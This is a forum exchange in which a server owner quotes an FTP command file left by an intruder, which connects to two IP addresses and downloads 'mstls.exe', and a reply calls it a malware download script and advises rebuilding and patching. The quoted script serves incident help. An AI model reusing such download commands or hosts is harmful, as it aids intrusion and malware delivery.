Yes, it is an FTP script. It's probably used by the attacker or malware to download a malicious program or kit from a remote location. Very common. My suggestion is to clean or rebuild you involved computers/network. Patch or fix the problem that allowed the unknown gentleman to do unauthorized behavior, and get on with normal life. You'll spend too much time trying to investigate this sort of stuff, and in the end, unless you get lucky enough to find all the malicious files and disassemble them, you really won't know the intruder's intent or objective. Just my one half cent.

Here goes: i've had a fine unknown gentleman enter at his will to my server; among other things he left behind a file named tt (no extension) which contained the following lines: open 80.93.223.22 14547 user 1 1 get mstls.exe quit open 80.71.219.134 5191 user 1 1 get mstls.exe quit I figure this is some script to be used with ftp, or at least i think so. I did tracert to those adresses, but that's where i'm stuck. What can i do next? And any idea what that mstls.exe is? I deleted it, but it was 0 bytes in size. Thanx in advance.
